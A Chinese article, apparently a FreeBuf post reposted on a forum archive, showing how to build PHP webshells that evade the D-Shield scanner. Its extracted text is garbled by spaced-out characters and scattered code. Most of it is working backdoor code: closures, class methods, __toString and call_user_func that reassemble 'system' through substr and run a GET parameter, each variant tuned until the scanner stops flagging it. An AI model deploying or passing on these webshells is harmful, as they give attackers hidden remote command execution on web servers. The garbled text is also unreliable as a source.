搜索

[15148] 2020-03-19_巧用匿名函数绕过D盾

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-03-19_巧用匿名函数绕过D盾 巧 用 匿 名 函 数 绕 过 D 盾 p 1 k 3 m 4 n   F r e e B u f   2 0 2 0 - 0 3 - 1 9 之 前 看 了 之 前 看 了 s m i l e 大 佬 的 大 佬 的 w e b s h e l l 绕 过 ， 跟 着 绕 过 ， 跟 着 s m i l e 大 佬 的 思 路 ， 自 己 来 挖 掘 了 一 下 绕 过 大 佬 的 思 路 ， 自 己 来 挖 掘 了 一 下 绕 过 D 盾 的 方 式 盾 的 方 式 附 上 链 接   h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 1 9 7 6 3 1 这 篇 文 章 中 ， s m i l e 大 佬 提 到 了 非 常 多 的 绕 过 D 盾 方 式 ， 我 就 不 重 复 了 ， 我 在 这 里 主 要 是 利 用 了 匿 名 函 数 来 绕 过 D 盾 在 p 神 的 博 客 中 ， 找 到 了 这 么 一 个 图 片 h t t p s : / / w w w . l e a v e s o n g s . c o m / P E N E T R A T I O N / d y n a m i c - f e a t u r e s - a n d - w e b s h e l l - t r i c k s - i n - p h p . h t m l 对 常 见 的 w e b s h e l l 进 行 了 一 下 分 类 ， 我 主 要 是 利 用 了 一 个 s y s t e m   构 造 了 一 种 命 令 型 的 w e b s h e l l ， 匿 名 函 数 匿 名 函 数 匿 名 函 数 也 叫 闭 包 函 数 ， 允 许 临 时 创 建 一 个 没 有 名 字 的 函 数 ， 经 常 用 作 回 调 函 数 会 被 D 盾 检 测 出 来 ， 已 知 后 门 ， 这 里 参 数 $ n a m e 是 动 态 获 取 的 ， 但 是 e v a l 不 是 ， 并 且 e v a l 是 一 个 语 言 构 造 器 ， 不 是 函 数 ， 不 能 被 可 变 函 数 调 用 ， 所 以 改 e v a l 为 s y s t e m 把 函 数 改 成 动 态 获 取 的 形 式 会 报 一 个 级 别 1 的 风 险 尝 试 把 两 个 G E T 参 数 都 放 到 函 数 内 ， 再 加 一 个 s u b s t r 混 淆 < ? p h p $ g r e e t   =   f u n c t i o n ( $ n a m e ) {         e v a l ( $ n a m e ) ; } ; $ g r e e t ( $ _ G E T [ ' n a m e ' ] ) ; < ? p h p $ g r e e t   =   f u n c t i o n ( $ m e t h o d , $ a r g ) {         $ m e t h o d ( $ a r g ) ; } ; $ g r e e t ( $ _ G E T [ ' m e t h o d ' ] , $ _ G E T [ ' a r g ' ] ) ; < ? p h p $ g r e e t   =   f u n c t i o n ( $ a r g ) { $ m e t h o d = ' s y s a t e m ' ;         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ;
这 次 还 是 报 了 一 个 变 量 函 数 到 这 就 明 白 了   应 该 是 $ g r e e t 这 个 变 量 函 数 被 D 盾 检 测 出 来 了 ， 不 是 参 数 的 原 因 ， 再 进 一 步 分 析 ， 应 该 是 $ g r e e t ( )   被 当 作 了 可 变 函 数 ， 导 致 了 被 D 盾 检 测 出 来 e c h o 绕 过 绕 过 用 e c h o 括 号 绕 过 一 下 改 匿 名 函 数 为 普 通 函 数 改 匿 名 函 数 为 普 通 函 数 刚 刚 前 面 的 检 测 是 因 为 可 变 函 数 ， 导 致 了 w e b s h e l l 被 检 测 ， 直 接 用 普 通 的 函 数 ， 不 使 用 匿 名 函 数         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ; } ; $ g r e e t ( ) ; ? > < ? p h p $ g r e e t   =   f u n c t i o n ( ) { $ m e t h o d = ' s y s a t e m ' ;         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ; } ; e c h o   ( $ g r e e t ) ( ) ; ? > < ? p h p f u n c t i o n   g r e e t ( ) { $ m e t h o d = ' s y s a t e m ' ;         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ; } ; g r e e t ( ) ; ? >
再 加 一 个 中 间 值 $ a 依 然 能 够 绕 过 改 变 量 为 数 组 改 变 量 为 数 组 匿 名 函 数 可 以 赋 值 给 一 个 变 量 ， 同 样 也 可 以 赋 值 给 数 组 中 的 一 个 元 素 D 盾 爆 出 可 变 函 数 前 面 是 在 $ g r e e t 上 做 了 一 些 改 变 ， 下 面 再 去 改 一 下 $ a r r a y ‘ f u n c ’ < ? p h p f u n c t i o n   g r e e t ( ) { $ m e t h o d = ' s y s a t e m ' ;         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ; } ; $ a = ' g r e e t ' ; e c h o   ( $ a ) ( ) ; ? > < ? p h p $ a r r a y [ ' f u n c ' ]   =   f u n c t i o n ( ) { $ m e t h o d = ' s y s a t e m ' ;         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ; } ; $ a r r a y [ ' f u n c ' ] ( ) ;
加 上 注 释 符 还 是 会 爆 出 级 别 1 的 威 胁 D 盾 应 该 也 会 去 忽 略 注 释 的 内 容 回 到 之 前 的 用 e c h o   输 出 一 下 这 就 绕 过 了 D 盾 和 刚 刚 的 使 用 变 量 名 来 接 收 一 个 匿 名 函 数 一 样 ， 都 是 因 为 可 变 函 数 的 原 因 ， 阻 碍 了 我 们 构 造 w e b s h e l l ， 验 证 一 下 验 证 一 下 把 最 后 的 调 用 可 变 函 数 这 一 步 改 成 $ a a 是 一 个 没 有 任 何 值 的 变 量 ， D 盾 同 样 会 报 级 别 1 的 威 胁 < ? p h p $ g r e e t   =   f u n c t i o n ( ) { $ m e t h o d = ' s y s a t e m ' ;         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ; } ; $ a r r a y [ ' f u n c ' ] = $ g r e e t ; $ a r r a y [ ' f u n c ' ] / * 5 5 5 5 * / ( ) ; < ? p h p $ g r e e t   =   f u n c t i o n ( ) { $ m e t h o d = ' s y s a t e m ' ;         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ; } ; $ a r r a y [ ' f u n c ' ] = $ g r e e t ; e c h o   ( $ a r r a y [ ' f u n c ' ] ) ( ) ; $ a a ( ) ;
根 据 $ a a ( ) 这 里 ， 可 以 得 出 D 盾 没 有 去 回 溯 $ a r r a y [ ' f u n c ' ] 这 个 数 组 变 量 ， 因 为 如 果 D 盾 回 溯 了 这 个 $ a a ( ) 变 量 ， 会 检 测 到 这 个 $ a a ( ) 是 一 个 空 的 函 数 ， 没 有 定 义 。 也 就 不 会 报 错 了 前 面 用 的 是 e c h o ， 换 成 p r i n t 同 样 可 以 绕 过 小 结 小 结 上 面 的 绕 过 方 式 ， 总 结 一 下 ， 还 是 利 用 了 e c h o   ( ) ( )   这 种 方 式 绕 过 了 D 盾 ， 估 计 D 盾 把 e c h o   后 面 的 内 容 当 作 了 字 符 串 ， 正 常 情 况 下 e v a l ( $ _ P O S T [ ‘ a ’ ] ) ;   是 直 接 报 级 别 5 的 ， 但 是 加 上 了 e c h o   之 后 ， 报 的 就 是 级 别 4 ， 看 来 e c h o 还 有 给 D 盾 将 一 个 风 险 级 别 的 功 能 深 入 绕 过 深 入 绕 过 前 面 利 用 可 变 函 数 ， 其 实 就 是 为 了 调 用 构 造 的 匿 名 函 数 ， 可 以 有 两 种 绕 过 的 方 式 第 一 种 ： 换 一 种 调 用 匿 名 函 数 的 方 式 第 二 种 ： 换 掉 匿 名 函 数 ， 比 如 上 面 直 接 使 用 了 一 个 普 通 函 数 接 下 来 就 去 p h p 官 方 文 档 上 看 了 一 下 匿 名 函 数 的 介 绍 ， 找 到 一 个 例 子 h t t p s : / / w w w . p h p . n e t / m a n u a l / z h / f u n c t i o n s . a n o n y m o u s . p h p 直 接 调 用 匿 名 函 数 直 接 调 用 匿 名 函 数 匿 名 函 数 还 有 一 种 表 达 方 式 ， 不 用 赋 值 ， 直 接 调 用 ， 仅 在 p h p 7 里 可 以 调 用 类 绕 过 类 绕 过 在 面 向 过 程 的 语 言 里 ， 函 数 就 叫 函 数 ， 但 在 面 向 对 象 的 语 言 里 ， 函 数 还 有 另 一 种 叫 法 ， 方 法 通 过 构 造 一 个 类 的 方 法 ， 说 不 定 就 能 绕 过 D 盾 的 检 测 p r i n t   ( $ a a ) ( ) ; < ? p h p ( f u n c t i o n ( $ a r g ) {                 $ m e t h o d = ' s y s a t e m ' ;         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ;         } ) ( $ _ G E T [ ' a r g ' ] ) ; ? >
类 的 方 法 类 的 方 法 匿 名 函 数 可 以 放 在 方 法 的 返 回 值 中 ， 构 造 一 个 方 法 来 调 用 ， 这 时 候 D 盾 把 $ b ( ) ， 当 作 一 个 方 法 ， 从 而 绕 过 可 变 函 数 的 检 测 可 以 绕 过 赋 值 给 变 量 赋 值 给 变 量 也 可 以 不 放 在 函 数 的 返 回 值 中 ， 直 接 把 匿 名 函 数 赋 值 给 一 个 变 量 ， 更 方 便 一 点 < ? p h p c l a s s   T e s t {         p u b l i c   f u n c t i o n   t e s t i n g ( ) {                 r e t u r n   f u n c t i o n ( )   {                         $ m e t h o d = ' s y s a t e m ' ;                         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ;                 } ;         } } $ a = n e w   T e s t ( ) ; $ b = $ a - > t e s t i n g ( ) ; $ b ( ) ; ? > < ? p h p c l a s s   T e s t { p u b l i c   $ g r e e t ; p u b l i c   f u n c t i o n   _ _ c o n s t r u c t   ( )   {                         $ t h i s - > g r e e t   =   f u n c t i o n   ( )   {                         $ m e t h o d = ' s y s a t e m ' ;                     ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ;                         } ;                 } } $ a = n e w   T e s t ( ) ; / / v a r _ d u m p ( $ a - > g r e e t ) ; $ b = $ a - > g r e e t ; $ b ( ) ; ? >
利 用 魔 术 方 法 利 用 魔 术 方 法 利 用 上 之 前 的 e c h o 函 数 ， 把 一 个 对 象 当 作 字 符 串 输 出 ， 可 以 触 发 t o S t r i n g 魔 术 方 法 魔 术 方 法 , 还 可 以 利 用 上 其 他 的 魔 术 方 还 可 以 利 用 上 其 他 的 魔 术 方 法 ， 法 ， c a l l   s e t   g e t 等 回 调 函 数 回 调 函 数 简 单 来 说 ， 当 给 一 个 函 数 传 入 参 数 时 ， 传 入 了 一 个 函 数 作 为 参 数 就 叫 函 数 回 调 使 用 回 调 函 数 换 掉 可 变 函 数 ， 调 用 匿 名 函 数 c a l l _ u s e r _ f u n c < ? p h p c l a s s   T e s t {         p u b l i c   f u n c t i o n   _ _ t o S t r i n g ( ) {                 $ m e t h o d = ' s y s a t e m ' ;                 ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ;                 r e t u r n   ' 1 ' ;         } } $ a = n e w   T e s t ( ) ; e c h o   $ a ; ? > < ? p h p $ g r e e t   =   f u n c t i o n ( ) { $ m e t h o d = ' s y s a t e m ' ;         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ; } ; c a l l _ u s e r _ f u n c ( $ g r e e t )
数 组 赋 值 数 组 赋 值 $ g r e e t   赋 值 给 数 组 ， 也 可 以 执 行 同 样 可 以 绕 过 总 结 一 下 ： 总 结 一 下 ： 主 要 是 利 用 了 匿 名 函 数 的 一 些 构 造 方 式 ， 执 行 代 码 的 核 心 点 还 是 ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ;   没 有 变 过 主 要 是 在 可 变 函 数 这 里 展 开 了 一 些 绕 过 方 式 ， 让 D 盾 检 测 不 出 来 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： p 1 k 3 m 4 n ， 本 文 属 于 ， 本 文 属 于 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐 < ? p h p $ g r e e t   =   f u n c t i o n ( ) { $ m e t h o d = ' s y s a t e m ' ;         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ; } ; $ a r r a y [ ' f u n c ' ] = $ g r e e t ; c a l l _ u s e r _ f u n c ( $ a r r a y [ ' f u n c ' ] ) ;
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理